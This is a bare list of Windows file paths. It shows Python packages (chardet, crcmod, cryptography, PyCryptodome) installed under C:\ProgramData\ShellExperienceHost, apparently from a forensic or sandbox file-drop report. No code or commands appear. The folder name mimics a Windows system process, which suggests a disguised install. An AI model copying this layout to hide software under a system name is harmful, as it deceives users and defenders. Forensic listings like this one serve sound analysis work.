C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CLI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CODINGSTATEMACHINE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\CP949PROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ENUMS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\ESCSM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCJPPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRFREQ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCKRPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWFREQ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\EUCTWPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312FREQ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\GB2312PROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\HEBREWPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JISFREQ.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\JPCNTX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGBULGARIANMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGGREEKMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGHEBREWMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGHUNGARIANMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGRUSSIANMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTHAIMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LANGTURKISHMODEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\LATIN1PROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCHARSETPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSGROUPPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\MBCSSM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA\LANGUAGES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\METADATA\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCHARSETPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SBCSGROUPPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\SJISPROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UNIVERSALDETECTOR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\UTF8PROBER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CHARDET\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD-1.7.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\CRCMOD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\PREDEFINED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\_CRCFUNPY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\AUTHORS.RST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.APACHE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.BSD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\LICENSE.PSF
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY-3.3.1.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\FERNET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\INTERFACES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\AEAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\BACKEND.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\CIPHERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\CMAC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DECODE_ASN1.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\DSA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\EC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ED25519.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ED448.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\ENCODE_ASN1.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\HASHES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\HMAC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\OCSP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\POLY1305.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\RSA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X25519.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X448.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\X509.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\OPENSSL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BACKENDS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\BINDING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\_CONDITIONAL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\OPENSSL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\_OPENSSL.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\_PADDING.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\DH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\DSA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\EC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\ED25519.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\ED448.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\PADDING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\RSA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\X25519.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\X448.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\ASYMMETRIC\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\AEAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\ALGORITHMS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\BASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\MODES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CIPHERS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CMAC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\CONSTANT_TIME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\HASHES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\HMAC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\CONCATKDF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\HKDF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\KBKDF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\PBKDF2.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\SCRYPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\X963KDF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KDF\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\KEYWRAP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\PADDING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\POLY1305.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\BASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\PKCS12.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\PKCS7.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\SSH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\SERIALIZATION\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\HOTP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\TOTP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\TWOFACTOR\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\PRIMITIVES\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\_DER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\_OID.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\BASE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\CERTIFICATE_TRANSPARENCY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\EXTENSIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\GENERAL_NAME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\NAME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\OCSP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\OID.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\__ABOUT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\AES.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\ARC2.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\ARC4.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\BLOWFISH.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CAST.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CHACHA20.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CHACHA20_POLY1305.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\DES.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\DES3.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\PKCS1_OAEP.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\PKCS1_V1_5.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\SALSA20.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_ARC4.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_CHACHA20.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_EKSBLOWFISH.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CBC.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CCM.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CFB.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CTR.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_EAX.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_ECB.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_GCM.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OCB.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OFB.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OPENPGP.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_SIV.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AES.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AESNI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ARC2.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_BLOWFISH.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CAST.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CBC.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CFB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CTR.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_DES.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_DES3.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ECB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_EKSBLOWFISH.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OCB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OFB.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_SALSA20.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__INIT__.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\BLAKE2B.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\BLAKE2S.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\CMAC.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\HMAC.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\KECCAK.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD2.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD4.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD5.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\POLY1305.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\RIPEMD.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\RIPEMD160.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA1.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA224.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA256.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA384.PYI
